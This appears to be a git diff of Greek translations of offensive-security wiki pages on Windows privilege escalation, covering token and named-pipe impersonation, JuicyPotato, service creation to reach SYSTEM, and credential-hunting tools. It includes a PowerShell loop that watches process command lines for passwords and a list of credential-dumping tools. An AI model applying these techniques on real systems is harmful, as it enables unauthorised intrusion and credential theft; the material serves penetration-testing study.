Πρέπει επίσης να ελέγξετε τον Κάδο για να αναζητήσετε διαπιστευτήρια μέσα σε αυτόν. Πρέπει επίσης να ελέγξετε τον Κάδο για να αναζητήσετε διαπιστευτήρια μέσα σε αυτόν
Για να **ανακτήσετε κωδικούς πρόσβασης** που έχουν αποθηκευτεί από διάφορα προγράμματα, μπορείτε να χρησιμοποιήσετε: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) Για να **ανακτήσετε κωδικούς πρόσβασης** που έχουν αποθηκευτεί από διάφορα προγράμματα μπορείτε να χρησιμοποιήσετε: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
### Μέσα στη μητρώο ### Μέσα στη μητρώο
@ -1168,11 +1168,11 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
### **Επικαλύψεις COM DLL** ### **Επικαλύψεις COM DLL**
**Το Component Object Model (COM)** είναι μια τεχνολογία που έχει ενσωματωθεί στο λειτουργικό σύστημα Windows και επιτρέπει την **διασύνδεση** μεταξύ λογισμικών στοιχείων διαφορετικών γλωσσών. Κάθε στοιχείο COM **αναγνωρίζεται μέσω ενός ID κλάσης (CLSID)** και κάθε στοιχείο εκθέτει λειτουργικότητα μέσω ενός ή περισσότερων διεπαφών, που αναγνωρίζονται μέσω ID διεπαφών (IIDs). **Το Component Object Model (COM)** είναι μια τεχνολογία που έχει ενσωματωθεί στο λειτουργικό σύστημα Windows και επιτρέπει την **διασύνδεση** μεταξύ λογισμικών συστατικών διαφορετικών γλωσσών. Κάθε συστατικό COM **αναγνωρίζεται μέσω ενός ID κλάσης (CLSID)** και κάθε συστατικό εκθέτει λειτουργικότητα μέσω ενός ή περισσότερων διεπαφών, που αναγνωρίζονται μέσω ID διεπαφών (IIDs).
Οι κλάσεις και οι διεπαφές COM ορίζονται στο μητρώο κάτω από **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** και **HKEY\_**_**CLASSES\_**_**ROOT\Interface** αντίστοιχα. Αυτό το μητρώο δημιουργείται συγχωνεύοντας το **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.** Οι κλάσεις και οι διεπαφές COM ορίζονται στο μητρώο κάτω από **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** και **HKEY\_**_**CLASSES\_**_**ROOT\Interface** αντίστοιχα. Αυτό το μητρώο δημιουργείται συγχωνεύοντας το **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
Μέσα στους CLSIDs αυτού του μητρώου μπορείτε να βρείτε το παιδικό μητρώο **InProcServer32** που περιέχει μια **προεπιλεγμένη τιμή** που δείχνει σε μια **DLL** και μια τιμή που ονομάζεται **ThreadingModel** που μπορεί να είναι **Apartment** (Μονονηματικό), **Free** (Πολυνηματικό), **Both** (Μονο ή Πολυ) ή **Neutral** (Ουδέτερο νήμα). Μέσα στους CLSIDs αυτού του μητρώου μπορείτε να βρείτε το παιδικό μητρώο **InProcServer32** που περιέχει μια **προεπιλεγμένη τιμή** που δείχνει σε μια **DLL** και μια τιμή που ονομάζεται **ThreadingModel** που μπορεί να είναι **Apartment** (Μονονηματική), **Free** (Πολυνηματική), **Both** (Μονοή Πολυνηματική) ή **Neutral** (Ουδέτερη Νήμα).
![](<../../images/image (729).png>) ![](<../../images/image (729).png>)
@ -1223,7 +1223,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Φανταστείτε ότι **μια διαδικασία που εκτελείται ως SYSTEM ανοίγει μια νέα διαδικασία** (`OpenProcess()`) με **πλήρη πρόσβαση**. Η ίδια διαδικασία **δημιουργεί επίσης μια νέα διαδικασία** (`CreateProcess()`) **με χαμηλά δικαιώματα αλλά κληρονομεί όλα τα ανοιχτά handles της κύριας διαδικασίας**.\ Φανταστείτε ότι **μια διαδικασία που εκτελείται ως SYSTEM ανοίγει μια νέα διαδικασία** (`OpenProcess()`) με **πλήρη πρόσβαση**. Η ίδια διαδικασία **δημιουργεί επίσης μια νέα διαδικασία** (`CreateProcess()`) **με χαμηλά δικαιώματα αλλά κληρονομεί όλα τα ανοιχτά handles της κύριας διαδικασίας**.\
Έτσι, αν έχετε **πλήρη πρόσβαση στη διαδικασία με χαμηλά δικαιώματα**, μπορείτε να αποκτήσετε το **ανοιχτό handle της διαδικασίας με δικαιώματα που δημιουργήθηκε** με `OpenProcess()` και **να εισάγετε ένα shellcode**.\ Έτσι, αν έχετε **πλήρη πρόσβαση στη διαδικασία με χαμηλά δικαιώματα**, μπορείτε να αποκτήσετε το **ανοιχτό handle της διαδικασίας με δικαιώματα που δημιουργήθηκε** με `OpenProcess()` και **να εισάγετε ένα shellcode**.\
[Διαβάστε αυτό το παράδειγμα για περισσότερες πληροφορίες σχετικά με **το πώς να ανιχνεύσετε και να εκμεταλλευτείτε αυτήν την ευπάθεια**.](leaked-handle-exploitation.md)\ [Διαβάστε αυτό το παράδειγμα για περισσότερες πληροφορίες σχετικά με **το πώς να ανιχνεύσετε και να εκμεταλλευτείτε αυτήν την ευπάθεια**.](leaked-handle-exploitation.md)\
[Διαβάστε αυτή την **άλλη ανάρτηση για μια πιο ολοκληρωμένη εξήγηση σχετικά με το πώς να δοκιμάσετε και να εκμεταλλευτείτε περισσότερα ανοιχτά handles διαδικασιών και νημάτων που κληρονομούνται με διαφορετικά επίπεδα δικαιωμάτων (όχι μόνο πλήρη πρόσβαση)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). [Διαβάστε αυτήν την **άλλη ανάρτηση για μια πιο ολοκληρωμένη εξήγηση σχετικά με το πώς να δοκιμάσετε και να εκμεταλλευτείτε περισσότερα ανοιχτά handles διαδικασιών και νημάτων που κληρονομούνται με διαφορετικά επίπεδα δικαιωμάτων (όχι μόνο πλήρη πρόσβαση)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
## Named Pipe Client Impersonation ## Named Pipe Client Impersonation
@ -1239,7 +1239,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
### **Monitoring Command Lines for passwords** ### **Monitoring Command Lines for passwords**
Όταν αποκτάτε ένα shell ως χρήστης, μπορεί να υπάρχουν προγραμματισμένα καθήκοντα ή άλλες διαδικασίες που εκτελούνται και **περνούν διαπιστευτήρια στη γραμμή εντολών**. Το παρακάτω σενάριο καταγράφει τις γραμμές εντολών διαδικασιών κάθε δύο δευτερόλεπτα και συγκρίνει την τρέχουσα κατάσταση με την προηγούμενη κατάσταση, εκτυπώνοντας τυχόν διαφορές. Όταν αποκτάτε ένα shell ως χρήστης, μπορεί να υπάρχουν προγραμματισμένα καθήκοντα ή άλλες διαδικασίες που εκτελούνται και **περνούν διαπιστευτήρια στη γραμμή εντολών**. Το παρακάτω σενάριο καταγράφει τις γραμμές εντολών διαδικασιών κάθε δύο δευτερόλεπτα και συγκρίνει την τρέχουσα κατάσταση με την προηγούμενη κατάσταση, εξάγοντας τυχόν διαφορές.
```powershell ```powershell
while($true) while($true)
{ {
@ -1301,25 +1301,25 @@ Windows 10 1709 16299 link NOT opened
https://github.com/jas502n/CVE-2019-1388 https://github.com/jas502n/CVE-2019-1388
## Από το Μέσο Επίπεδο Ακεραιότητας του Διαχειριστή στο Υψηλό Επίπεδο Ακεραιότητας / Παράκαμψη UAC ## Από Administrator Medium σε High Integrity Level / UAC Bypass
Διαβάστε αυτό για να **μάθετε για τα Επίπεδα Ακεραιότητας**: Διαβάστε αυτό για να **μάθετε για τα Integrity Levels**:
{{#ref}} {{#ref}}
integrity-levels.md integrity-levels.md
{{#endref}} {{#endref}}
Στη συνέχεια, **διαβάστε αυτό για να μάθετε για το UAC και τις παρακάμψεις UAC:** Στη συνέχεια, **διαβάστε αυτό για να μάθετε για το UAC και τα UAC bypasses:**
{{#ref}} {{#ref}}
../authentication-credentials-uac-and-efs/uac-user-account-control.md ../authentication-credentials-uac-and-efs/uac-user-account-control.md
{{#endref}} {{#endref}}
## **Από Υψηλό Επίπεδο Ακεραιότητας στο Σύστημα** ## **Από High Integrity σε System**
### **Νέα υπηρεσία** ### **Νέα υπηρεσία**
Εάν ήδη εκτελείτε μια διαδικασία Υψηλού Επίπεδου Ακεραιότητας, η **μετάβαση στο SYSTEM** μπορεί να είναι εύκολη απλά **δημιουργώντας και εκτελώντας μια νέα υπηρεσία**: Εάν ήδη εκτελείτε μια διαδικασία High Integrity, η **μετάβαση σε SYSTEM** μπορεί να είναι εύκολη απλά **δημιουργώντας και εκτελώντας μια νέα υπηρεσία**:
``` ```
sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename sc start newservicename
@ -1333,38 +1333,40 @@ sc start newservicename
**Μπορείτε** [**να βρείτε τον κώδικα εδώ**](seimpersonate-from-high-to-system.md)**.** **Μπορείτε** [**να βρείτε τον κώδικα εδώ**](seimpersonate-from-high-to-system.md)**.**
### From SeDebug + SeImpersonate to Full Token privileges ### Από SeDebug + SeImpersonate σε πλήρη δικαιώματα Token
Εάν έχετε αυτές τις προνόμια token (πιθανώς θα το βρείτε σε μια ήδη Υψηλής Ακεραιότητας διαδικασία), θα μπορείτε να **ανοίξετε σχεδόν οποιαδήποτε διαδικασία** (όχι προστατευμένες διαδικασίες) με το προνόμιο SeDebug, **να αντιγράψετε το token** της διαδικασίας και να δημιουργήσετε μια **τυχαία διαδικασία με αυτό το token**.\ Εάν έχετε αυτά τα δικαιώματα token (πιθανώς θα τα βρείτε σε μια ήδη Υψηλής Ακεραιότητας διαδικασία), θα μπορείτε να **ανοίξετε σχεδόν οποιαδήποτε διαδικασία** (όχι προστατευμένες διαδικασίες) με το δικαίωμα SeDebug, **να αντιγράψετε το token** της διαδικασίας και να δημιουργήσετε μια **τυχαία διαδικασία με αυτό το token**.\
Η χρήση αυτής της τεχνικής συνήθως **επιλέγει οποιαδήποτε διαδικασία που εκτελείται ως SYSTEM με όλα τα προνόμια token** (_ναι, μπορείτε να βρείτε διαδικασίες SYSTEM χωρίς όλα τα προνόμια token_).\ Η χρήση αυτής της τεχνικής συνήθως **επιλέγει οποιαδήποτε διαδικασία που εκτελείται ως SYSTEM με όλα τα δικαιώματα token** (_ναι, μπορείτε να βρείτε διαδικασίες SYSTEM χωρίς όλα τα δικαιώματα token_).\
**Μπορείτε να βρείτε ένα** [**παράδειγμα κώδικα που εκτελεί την προτεινόμενη τεχνική εδώ**](sedebug-+-seimpersonate-copy-token.md)**.** **Μπορείτε να βρείτε ένα** [**παράδειγμα κώδικα που εκτελεί την προτεινόμενη τεχνική εδώ**](sedebug-+-seimpersonate-copy-token.md)**.**
### **Named Pipes** ### **Named Pipes**
Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να κλιμακώσει στο `getsystem`. Η τεχνική συνίσταται στο **να δημιουργήσετε έναν σωλήνα και στη συνέχεια να δημιουργήσετε/καταχραστείτε μια υπηρεσία για να γράψετε σε αυτόν τον σωλήνα**. Στη συνέχεια, ο **διακομιστής** που δημιούργησε τον σωλήνα χρησιμοποιώντας το **`SeImpersonate`** προνόμιο θα μπορεί να **υποδυθεί το token** του πελάτη του σωλήνα (της υπηρεσίας) αποκτώντας προνόμια SYSTEM.\ Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να κλιμακώσει σε `getsystem`. Η τεχνική συνίσταται στη **δημιουργία ενός σωλήνα και στη συνέχεια στη δημιουργία/κατάχρηση μιας υπηρεσίας για να γράψει σε αυτόν τον σωλήνα**. Στη συνέχεια, ο **διακομιστής** που δημιούργησε τον σωλήνα χρησιμοποιώντας το δικαίωμα **`SeImpersonate`** θα μπορεί να **παριστάνει το token** του πελάτη του σωλήνα (της υπηρεσίας) αποκτώντας δικαιώματα SYSTEM.\
Εάν θέλετε να [**μάθετε περισσότερα σχετικά με τους ονομαστικούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](./#named-pipe-client-impersonation).\ Εάν θέλετε να [**μάθετε περισσότερα σχετικά με τους ονομαστούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](./#named-pipe-client-impersonation).\
Εάν θέλετε να διαβάσετε ένα παράδειγμα [**πώς να πάτε από υψηλή ακεραιότητα σε System χρησιμοποιώντας ονομαστικούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](from-high-integrity-to-system-with-name-pipes.md). Εάν θέλετε να διαβάσετε ένα παράδειγμα [**πώς να πάτε από υψηλή ακεραιότητα σε System χρησιμοποιώντας ονομαστούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](from-high-integrity-to-system-with-name-pipes.md).
### Dll Hijacking ### Dll Hijacking
Εάν καταφέρετε να **καταλάβετε μια dll** που **φορτώνεται** από μια **διαδικασία** που εκτελείται ως **SYSTEM**, θα μπορείτε να εκτελέσετε τυχαίο κώδικα με αυτές τις άδειες. Επομένως, η Dll Hijacking είναι επίσης χρήσιμη για αυτό το είδος κλιμάκωσης προνομίων και, επιπλέον, είναι **πολύ πιο εύκολη να επιτευχθεί από μια διαδικασία υψηλής ακεραιότητας** καθώς θα έχει **δικαιώματα εγγραφής** στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.\ Εάν καταφέρετε να **καταλάβετε μια dll** που **φορτώνεται** από μια **διαδικασία** που εκτελείται ως **SYSTEM**, θα μπορείτε να εκτελέσετε τυχαίο κώδικα με αυτές τις άδειες. Επομένως, το Dll Hijacking είναι επίσης χρήσιμο για αυτό το είδος κλιμάκωσης δικαιωμάτων και, επιπλέον, είναι **πολύ πιο εύκολο να επιτευχθεί από μια διαδικασία υψηλής ακεραιότητας** καθώς θα έχει **δικαιώματα εγγραφής** στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.\
**Μπορείτε** [**να μάθετε περισσότερα σχετικά με την Dll hijacking εδώ**](dll-hijacking/)**.** **Μπορείτε** [**να μάθετε περισσότερα σχετικά με το Dll hijacking εδώ**](dll-hijacking/)**.**
### **From Administrator or Network Service to System** ### **Από Διαχειριστή ή Υπηρεσία Δικτύου σε System**
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %} {{#ref}}
https://github.com/sailay1996/RpcSsImpersonator
{{#endref}}
### From LOCAL SERVICE or NETWORK SERVICE to full privs ### Από το LOCAL SERVICE ή NETWORK SERVICE σε πλήρη δικαιώματα
**Διαβάστε:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) **Διαβάστε:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
## More help ## Περισσότερη βοήθεια
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
## Useful tools ## Χρήσιμα εργαλεία
**Καλύτερο εργαλείο για αναζήτηση τοπικών διανυσμάτων κλιμάκωσης προνομίων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **Καλύτερο εργαλείο για αναζήτηση παραγόντων κλιμάκωσης τοπικών δικαιωμάτων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**PS** **PS**
@ -1375,8 +1377,8 @@ sc start newservicename
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Εξάγει πληροφορίες αποθηκευμένων συνεδριών PuTTY, WinSCP, SuperPuTTY, FileZilla και RDP. Χρησιμοποιήστε -Thorough τοπικά.**\ [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Εξάγει πληροφορίες αποθηκευμένων συνεδριών PuTTY, WinSCP, SuperPuTTY, FileZilla και RDP. Χρησιμοποιήστε -Thorough τοπικά.**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Εξάγει διαπιστευτήρια από τον Διαχειριστή Διαπιστευτηρίων. Ανιχνεύθηκε.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Εξάγει διαπιστευτήρια από τον Διαχειριστή Διαπιστευτηρίων. Ανιχνεύθηκε.**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Ψεκάστε συγκεντρωμένους κωδικούς πρόσβασης σε τομέα**\ [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Ψεκάστε συγκεντρωμένους κωδικούς πρόσβασης σε τομέα**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Το Inveigh είναι ένα εργαλείο spoofing και man-in-the-middle PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\ [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Το Inveigh είναι ένα εργαλείο spoofing ADIDNS/LLMNR/mDNS/NBNS PowerShell και man-in-the-middle.**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Βασική αναγνώριση Windows privesc**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Βασική αναγνώριση privesc Windows**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Αναζητήστε γνωστές ευπάθειες privesc (ΑΠΟΡΡΙΦΘΕΙΣΑ για Watson)\ [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Αναζητήστε γνωστές ευπάθειες privesc (ΑΠΟΡΡΙΦΘΕΙΣΑ για Watson)\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Τοπικοί έλεγχοι **(Απαιτούνται δικαιώματα διαχειριστή)** [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Τοπικοί έλεγχοι **(Απαιτούνται δικαιώματα διαχειριστή)**

View File

@ -2,8 +2,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> [!WARNING] > [!WARNING] > **Το JuicyPotato δεν λειτουργεί** σε Windows Server 2019 και Windows 10 build 1809 και μετά. Ωστόσο, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) μπορούν να χρησιμοποιηθούν για να **εκμεταλλευτούν τα ίδια δικαιώματα και να αποκτήσουν πρόσβαση επιπέδου `NT AUTHORITY\SYSTEM`**. _**Ελέγξτε:**_
> **Το JuicyPotato δεν λειτουργεί** σε Windows Server 2019 και Windows 10 build 1809 και μετά. Ωστόσο, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) μπορούν να χρησιμοποιηθούν για να **εκμεταλλευτούν τα ίδια δικαιώματα και να αποκτήσουν πρόσβαση επιπέδου `NT AUTHORITY\SYSTEM`**. _**Έλεγχος:**_
{{#ref}} {{#ref}}
roguepotato-and-printspoofer.md roguepotato-and-printspoofer.md
@ -19,7 +18,7 @@ _Μια γλυκιά έκδοση του_ [_RottenPotatoNG_](https://github.com/
[**Από το juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** [**Από το juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) και οι [παραλλαγές του](https://github.com/decoder-it/lonelypotato) εκμεταλλεύονται την αλυσίδα κατάχρησης δικαιωμάτων βασισμένη σε [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [υπηρεσία](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) που έχει τον MiTM listener στο `127.0.0.1:6666` και όταν έχετε δικαιώματα `SeImpersonate` ή `SeAssignPrimaryToken`. Κατά τη διάρκεια μιας ανασκόπησης build Windows βρήκαμε μια ρύθμιση όπου το `BITS` είχε σκόπιμα απενεργοποιηθεί και η θύρα `6666` είχε καταληφθεί. [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) και οι [παραλλαγές του](https://github.com/decoder-it/lonelypotato) εκμεταλλεύονται την αλυσίδα κατάχρησης δικαιωμάτων βασισμένη σε [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [υπηρεσία](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) έχοντας τον MiTM listener στο `127.0.0.1:6666` και όταν έχετε δικαιώματα `SeImpersonate` ή `SeAssignPrimaryToken`. Κατά τη διάρκεια μιας ανασκόπησης build Windows βρήκαμε μια ρύθμιση όπου το `BITS` είχε απενεργοποιηθεί σκόπιμα και η θύρα `6666` είχε καταληφθεί.
Αποφασίσαμε να οπλοποιήσουμε [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Πείτε γεια στο Juicy Potato**. Αποφασίσαμε να οπλοποιήσουμε [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Πείτε γεια στο Juicy Potato**.
@ -29,23 +28,23 @@ _Μια γλυκιά έκδοση του_ [_RottenPotatoNG_](https://github.com/
1. είναι δυνατό να δημιουργηθούν από τον τρέχοντα χρήστη, κανονικά έναν “χρήστη υπηρεσίας” που έχει δικαιώματα κατάχρησης 1. είναι δυνατό να δημιουργηθούν από τον τρέχοντα χρήστη, κανονικά έναν “χρήστη υπηρεσίας” που έχει δικαιώματα κατάχρησης
2. να υλοποιούν τη διεπαφή `IMarshal` 2. να υλοποιούν τη διεπαφή `IMarshal`
3. να εκτελούνται ως ανυψωμένος χρήστης (SYSTEM, Administrator, …) 3. να εκτελούνται ως ανυψωμένος χρήστης (SYSTEM, Διαχειριστής, …)
Μετά από κάποιες δοκιμές, αποκτήσαμε και δοκιμάσαμε μια εκτενή λίστα από [ενδιαφέροντα CLSIDs](http://ohpe.it/juicy-potato/CLSID/) σε πολλές εκδόσεις Windows. Μετά από κάποιες δοκιμές αποκτήσαμε και δοκιμάσαμε μια εκτενή λίστα από [ενδιαφέροντα CLSIDs](http://ohpe.it/juicy-potato/CLSID/) σε πολλές εκδόσεις Windows.
### Juicy λεπτομέρειες <a href="#juicy-details" id="juicy-details"></a> ### Juicy λεπτομέρειες <a href="#juicy-details" id="juicy-details"></a>
Το JuicyPotato σας επιτρέπει να: Το JuicyPotato σας επιτρέπει να:
- **Στοχεύστε CLSID** _επιλέξτε οποιοδήποτε CLSID θέλετε._ [_Εδώ_](http://ohpe.it/juicy-potato/CLSID/) _μπορείτε να βρείτε τη λίστα οργανωμένη κατά OS._ - **Στόχος CLSID** _επιλέξτε οποιοδήποτε CLSID θέλετε._ [_Εδώ_](http://ohpe.it/juicy-potato/CLSID/) _μπορείτε να βρείτε τη λίστα οργανωμένη κατά OS._
- **Θύρα Listening COM** _ορίστε τη θύρα listening COM που προτιμάτε (αντί της σκληροκωδικοποιημένης 6666)_ - **Θύρα Listening COM** _ορίστε τη θύρα listening COM που προτιμάτε (αντί της σκληροκωδικοποιημένης 6666)_
- **Διεύθυνση IP Listening COM** _δεσμεύστε τον server σε οποιαδήποτε IP_ - **Διεύθυνση IP Listening COM** _δεσμεύστε τον server σε οποιαδήποτε IP_
- **Λειτουργία δημιουργίας διαδικασίας** _ανάλογα με τα δικαιώματα του χρήστη που έχει καταχραστεί μπορείτε να επιλέξετε από:_ - **Λειτουργία δημιουργίας διεργασίας** _ανάλογα με τα δικαιώματα του χρήστη που έχει καταχραστεί μπορείτε να επιλέξετε από:_
- `CreateProcessWithToken` (χρειάζεται `SeImpersonate`) - `CreateProcessWithToken` (χρειάζεται `SeImpersonate`)
- `CreateProcessAsUser` (χρειάζεται `SeAssignPrimaryToken`) - `CreateProcessAsUser` (χρειάζεται `SeAssignPrimaryToken`)
- `και τα δύο` - `και τα δύο`
- **Διαδικασία προς εκτέλεση** _εκκινήστε ένα εκτελέσιμο ή σενάριο αν η εκμετάλλευση είναι επιτυχής_ - **Διεργασία προς εκκίνηση** _εκκινήστε ένα εκτελέσιμο ή σενάριο αν η εκμετάλλευση είναι επιτυχής_
- **Επιχείρημα διαδικασίας** _προσαρμόστε τα επιχειρήματα της εκτελούμενης διαδικασίας_ - **Επιχείρημα Διεργασίας** _προσαρμόστε τα επιχειρήματα της εκκινούμενης διεργασίας_
- **Διεύθυνση RPC Server** _για μια κρυφή προσέγγιση μπορείτε να πιστοποιηθείτε σε έναν εξωτερικό RPC server_ - **Διεύθυνση RPC Server** _για μια κρυφή προσέγγιση μπορείτε να πιστοποιηθείτε σε έναν εξωτερικό RPC server_
- **Θύρα RPC Server**ρήσιμη αν θέλετε να πιστοποιηθείτε σε έναν εξωτερικό server και το firewall μπλοκάρει τη θύρα `135`…_ - **Θύρα RPC Server**ρήσιμη αν θέλετε να πιστοποιηθείτε σε έναν εξωτερικό server και το firewall μπλοκάρει τη θύρα `135`…_
- **ΛΕΙΤΟΥΡΓΙΑ ΔΟΚΙΜΗΣ** υρίως για δοκιμαστικούς σκοπούς, δηλαδή δοκιμή CLSIDs. Δημιουργεί το DCOM και εκτυπώνει τον χρήστη του token. Δείτε_ [_εδώ για δοκιμή_](http://ohpe.it/juicy-potato/Test/) - **ΛΕΙΤΟΥΡΓΙΑ ΔΟΚΙΜΗΣ** υρίως για δοκιμαστικούς σκοπούς, δηλαδή δοκιμή CLSIDs. Δημιουργεί το DCOM και εκτυπώνει τον χρήστη του token. Δείτε_ [_εδώ για δοκιμή_](http://ohpe.it/juicy-potato/Test/)
@ -81,7 +80,7 @@ Optional args:
## Παραδείγματα ## Παραδείγματα
Σημείωση: Επισκεφθείτε [αυτή τη σελίδα](https://ohpe.it/juicy-potato/CLSID/) για μια λίστα με CLSIDs που μπορείτε να δοκιμάσετε. Σημείωση: Επισκεφθείτε [αυτή τη σελίδα](https://ohpe.it/juicy-potato/CLSID/) για μια λίστα με CLSIDs που να δοκιμάσετε.
### Πάρτε ένα nc.exe reverse shell ### Πάρτε ένα nc.exe reverse shell
``` ```
@ -108,7 +107,9 @@ c:\Users\Public>
Συχνά, το προεπιλεγμένο CLSID που χρησιμοποιεί το JuicyPotato **δεν λειτουργεί** και η εκμετάλλευση αποτυγχάνει. Συνήθως, απαιτούνται πολλές προσπάθειες για να βρείτε ένα **λειτουργικό CLSID**. Για να αποκτήσετε μια λίστα με CLSIDs για να δοκιμάσετε για ένα συγκεκριμένο λειτουργικό σύστημα, θα πρέπει να επισκεφθείτε αυτή τη σελίδα: Συχνά, το προεπιλεγμένο CLSID που χρησιμοποιεί το JuicyPotato **δεν λειτουργεί** και η εκμετάλλευση αποτυγχάνει. Συνήθως, απαιτούνται πολλές προσπάθειες για να βρείτε ένα **λειτουργικό CLSID**. Για να αποκτήσετε μια λίστα με CLSIDs για να δοκιμάσετε για ένα συγκεκριμένο λειτουργικό σύστημα, θα πρέπει να επισκεφθείτε αυτή τη σελίδα:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %} {{#ref}}
https://ohpe.it/juicy-potato/CLSID/
{{#endref}}
### **Έλεγχος CLSIDs** ### **Έλεγχος CLSIDs**
@ -116,7 +117,7 @@ c:\Users\Public>
Κατεβάστε [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) και φορτώστε το στη συνεδρία PS σας, και κατεβάστε και εκτελέστε [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Αυτό το σενάριο θα δημιουργήσει μια λίστα με πιθανά CLSIDs για δοκιμή. Κατεβάστε [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) και φορτώστε το στη συνεδρία PS σας, και κατεβάστε και εκτελέστε [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Αυτό το σενάριο θα δημιουργήσει μια λίστα με πιθανά CLSIDs για δοκιμή.
Στη συνέχεια, κατεβάστε [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(αλλάξτε τη διαδρομή στη λίστα CLSID και στο εκτελέσιμο juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και **όταν αλλάξει ο αριθμός θύρας, θα σημαίνει ότι το CLSID λειτούργησε**. Στη συνέχεια, κατεβάστε [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) (αλλάξτε τη διαδρομή στη λίστα CLSID και στο εκτελέσιμο juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και **όταν αλλάξει ο αριθμός θύρας, θα σημαίνει ότι το CLSID λειτούργησε**.
**Ελέγξτε** τα λειτουργικά CLSIDs **χρησιμοποιώντας την παράμετρο -c** **Ελέγξτε** τα λειτουργικά CLSIDs **χρησιμοποιώντας την παράμετρο -c**

View File

@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
} }
/* Languages Menu Popup */ /* Languages Menu Popup */
@media only screen and (max-width:799px) {
#menubar-languages-toggle span {
display: none !important;
}
}
#menubar-languages-toggle { #menubar-languages-toggle {
position: relative; position: relative;
} }
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
